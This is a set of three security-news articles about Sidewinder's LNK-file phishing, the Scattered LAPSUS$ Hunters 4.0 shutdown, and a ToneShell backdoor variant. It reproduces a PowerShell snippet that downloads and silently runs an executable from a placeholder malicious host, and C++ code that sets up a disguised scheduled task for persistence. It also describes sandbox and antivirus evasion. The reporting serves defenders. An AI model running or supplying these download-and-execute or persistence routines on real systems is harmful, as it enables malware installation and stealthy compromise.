The notorious APT-C-24 threat actor group, commonly known as Sidewinder or Rattlesnake, has evolved its attack methodology by deploying sophisticated LNK file-based phishing campaigns targeting government, energy, military, and mining sectors across South Asia.

Active since 2012, this advanced persistent threat organization has shifted away from its traditional exploitation of Microsoft Office vulnerabilities, instead embracing a more stealthy approach using weaponized shortcut files to execute remote malicious scripts.

Recent attack samples discovered by security researchers reveal a carefully orchestrated campaign where victims receive compressed archives containing three malicious LNK files, each designed with dual extensions such as “file 1.docx.lnk,” “file 2.docx.lnk,” and “file 3.docx.lnk.”

These deceptive filenames are strategically crafted to appear as legitimate document files, exploiting user trust and increasing the likelihood of execution.

The attackers have refined their delivery mechanism to maximize infection probability by providing multiple entry points within a single package.

Ctfiot analysts identified that these LNK files leverage the Microsoft HTML Application Host (MSHTA) program to execute malicious scripts hosted on remote command-and-control servers.

The remote URLs exhibit a distinctive pattern, terminating with parameters “yui=0,” “yui=1,” and “yui=2,” serving as unique identifiers for each variant while maintaining functional similarity across all three files.

The attack methodology demonstrates sophisticated environmental awareness capabilities, with the malicious scripts performing comprehensive system reconnaissance before proceeding with payload deployment.

Upon execution, the initial JavaScript component conducts anti-analysis checks by querying system specifications through Windows Management Instrumentation (WMI), specifically examining processor core counts and physical memory allocation to distinguish between genuine target environments and security research sandboxes.

Advanced Evasion and Payload Deployment Mechanisms

The group’s technical sophistication becomes evident in their multi-layered obfuscation techniques and conditional payload delivery system.

The initial HTML application performs dual functionality by simultaneously deploying decoy content to maintain victim deception while establishing persistence through memory-resident attack components.

The malicious script queries processor cores using “SELECT NumberOfCores FROM Win32_Processor” and requires a minimum of two cores alongside 810MB of physical memory before proceeding with payload decryption.

Once environmental checks pass validation, the script employs Base64 decoding combined with XOR encryption to decrypt and reflectively load a heavily obfuscated C# downloader component.

This sophisticated payload performs security software detection, scanning for processes associated with Kaspersky, ESET, and other endpoint protection solutions before establishing communication with command-and-control infrastructure.

The attackers demonstrate operational security awareness by rapidly rotating compromised domains and selectively delivering advanced payloads only to victims meeting specific targeting criteria, significantly complicating security research efforts and threat hunting activities.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Sidewinder Hacker Group Weaponizing LNK File to Execute Malicious Scripts appeared first on Cyber Security News.

A sudden and definitive statement emerged from the “Scattered LAPSUS$ Hunters 4.0” Telegram channel on September 8, signaling an abrupt end to their public operations.

After months of high-profile campaigns targeting major corporations and critical infrastructure, the collective declared a permanent retreat.

News of this unexpected decision reverberated through the cybersecurity community, prompting analysts to reassess both the group’s legacy and the broader implications for defending against similar threats.

The group first gained notoriety in early 2024 for exploiting vulnerabilities in cloud-based services and corporate networks.

Employing a blend of social engineering, credential theft, and sophisticated tooling, they orchestrated data exfiltration from technology giants, financial institutions, and transportation providers.

DataBreaches analysts noted that the campaign’s modular architecture allowed rapid adaptation to emerging defensive measures, sustaining the group’s momentum even as organizations bolstered their security postures.

Impact assessments reveal that Scattered LAPSUS$ Hunters 4.0 pressured companies such as Kering and Salesforce into expedited vulnerability disclosures.

Their operations caused production delays and forced emergency patch rollouts, costing victims millions in remediation efforts.

Beyond financial damages, the public nature of leaked exfiltrated datasets eroded trust in corporate cybersecurity programs.

Many security teams cite these breaches as a turning point that hastened the adoption of zero-trust frameworks and more rigorous incident response playbooks.

In the wake of their announcement, DataBreaches researchers identified remnants of custom scripts embedded in archived payloads that indicate advanced obfuscation routines.

These routines employed polymorphic techniques, iteratively encrypting shell snippets to evade signature-based detection. The sophistication of these methods suggests a level of operational security and planning uncommon among similarly sized cybercriminal groups.

Infection Mechanism and Initial Access

A critical element of Scattered LAPSUS$ Hunters 4.0’s success was its multi-stage infection mechanism.

Initial access often began through spear-phishing emails containing malicious macros in Office documents. Upon macro execution, a PowerShell launcher retrieved a lightweight downloader.

The downloader then fetched a C#-based payload, which leveraged Windows Management Instrumentation (WMI) for stealth execution:-

$DownloadUrl = "https://malicious.example/payload.exe"
$Output = "$env:TEMP\payload.exe"
Invoke-WebRequest -Uri $DownloadUrl -OutFile $Output
Start-Process -FilePath $Output -WindowStyle Hidden

Once executed, the payload registered itself as a WMI event subscription, ensuring persistence by automatically triggering on system startup.

By integrating with legitimate Windows services, the malware minimized anomalies in process listings and network logs.

This infection chain underscores the importance of multi-layered defenses, including email filtration, macro restrictions, and continuous endpoint monitoring.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Scattered LAPSUS$ Hunters 4.0 Announced That Their Going Dark Permanently appeared first on Cyber Security News.

Since its first appearance earlier this year, the ToneShell backdoor has demonstrated a remarkable capacity for adaptation, toyed with by the Mustang Panda group to maintain an enduring foothold in targeted environments.

This latest variant, discovered in early September, arrives concealed within sideloaded DLLs alongside legitimate executables.

Delivered via compressed archives purporting to contain innocuous documents, the backdoor activates when the host process triggers the malicious DLL, initiating a carefully orchestrated infection routine that evades cursory inspection.

In its typical deployment, the archive—often named with localized or politically themed titles—contains the legitimate loader executable and a renamed DLL payload.

Upon execution, the DLL probes its environment for sandbox artifacts, including process names and file paths associated with security solutions, before proceeding.

If these checks pass, the malware copies itself to a newly created subfolder under the user’s AppData directory, alongside several Microsoft Visual C++ runtime libraries.

Intezer analysts noted that this sequence ensures the backdoor runs from a location less likely to attract scrutiny, blending into the normal user profile structure.

Once relocated, the backdoor establishes persistence by interacting directly with Windows’ Task Scheduler COM service.

Intezer researchers identified that the malware leverages the ITaskService and IRegisteredTask interfaces to create a scheduled task named “dokanctl” in the root folder.

This task is configured to launch the malicious executable every minute, ensuring near-continuous reinfection even if the process is terminated.

The task definition sets the action path to the copied svchosts.exe within AppData, effectively masquerading as a legitimate Windows process.

The impact of this innovation is far-reaching. By abusing the Task Scheduler COM service rather than relying on registry run keys or service installation, the backdoor avoids well-known detection heuristics.

Moreover, since the scheduled task leverages existing system libraries, security tools without deep behavioral analysis may overlook the modification.

Persistence Mechanism via Task Scheduler COM Service

ToneShell’s persistence mechanism hinges on a few lines of custom code that instantiate and interact with COM interfaces.

After CoInitializeEx succeeds, the malware calls:-

CComPtr<ITaskService> taskService;
HRESULT hr = taskService.CoCreateInstance(__uuidof(TaskScheduler));
if (SUCCEEDED(hr)) {
    taskService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
    CComPtr<ITaskFolder> rootFolder;
    taskService->GetFolder(_bstr_t(L"\\"), &rootFolder);
    CComPtr<IRegisteredTask> existingTask;
    rootFolder->GetTask(_bstr_t(L"dokanctl"), &existingTask);
    if (!existingTask) {
        CComPtr<ITaskDefinition> taskDef;
        taskService->NewTask(0, &taskDef);
        CComPtr<ITriggerCollection> triggers;
        taskDef->get_Triggers(&triggers);
        CComPtr<ITrigger> trigger;
        triggers->Create(TASK_TRIGGER_TIME, &trigger);
        // configure trigger for every minute
        CComPtr<IActionCollection> actions;
        taskDef->get_Actions(&actions);
        CComPtr<IAction> action;
        actions->Create(TASK_ACTION_EXEC, &action);
        CComPtr<IExecAction> exec;
        action->QueryInterface(&exec);
        exec->put_Path(_bstr_t(L"%APPDATA%\\svchosts.exe"));
        rootFolder->RegisterTaskDefinition(_bstr_t(L"dokanctl"), taskDef,
            TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(),
            TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(), nullptr);
    }
}

This approach demonstrates a nuanced understanding of Windows internals, allowing the backdoor to persist with minimal footprint.

The reliance on COM interfaces also sidesteps simple file-based detection, as the actual executable is invoked through the scheduler rather than directly executed on startup.

As organizations shore up defenses against ToneShell, monitoring for anomalous COM-based Task Scheduler interactions will become increasingly crucial.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post New ToneShell Backdoor With New Features Leverage Task Scheduler COM Service for Persistence appeared first on Cyber Security News.